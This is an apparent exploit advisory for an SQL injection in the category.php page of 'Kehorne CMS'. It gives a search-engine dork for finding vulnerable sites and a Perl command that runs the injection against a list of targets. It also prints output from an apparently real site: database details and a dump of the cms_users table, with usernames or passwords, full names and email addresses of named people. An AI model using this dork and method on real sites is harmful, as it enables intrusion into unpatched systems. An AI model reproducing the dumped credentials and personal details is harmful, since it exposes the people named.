================================================================================
# Author: R3VAN_BASTARD
# Exploit Title: Kehorne CMS v1.0 (category.php) <= SQL injection
# Tested on: Windows 7
# Status: FIXED
# Dork: "Website Designed by Kehorne"
================================================================================
$ cd /Mysql/Perl
$ perl ec.txt -list KehorneList.txt -x /category.php?id=100 -v 5
........
Get: http://www.markdeeley.co.uk/category.php?id=100'
[X] Gathering MySQL Server Configuration...
  Database: deeley
  User: mark@server213-171-218-159.livedns.org.uk
  Version: 5.0.67-0ubuntu6
[X] Dumping data from database "deeley" TB "cms_users" C "'password', 'name', 'email'"
    .....100%
  [0] cake001:Daniel Hardy:daniel@hotcake-marketing.com:
    [1] cake002:David Horne:david@hotcake-marketing.com:
    [2] cake003:Jackie Winter:jackie@hotcake-marketing.com:
    [3] cake004:Leanne Harris:leanne@hotcake-marketing.com:
    [4] cake005:Andy Robson:andy@hotcake-marketing.com:
    [5] cake:Claire Sadler:claire@hotcake-marketing.com:
  ...

done.
================================================================================
- Vendor has been contacted
- Hit Back And Patching
- Advisore release
- Credit: To All My Friends.
================================================================================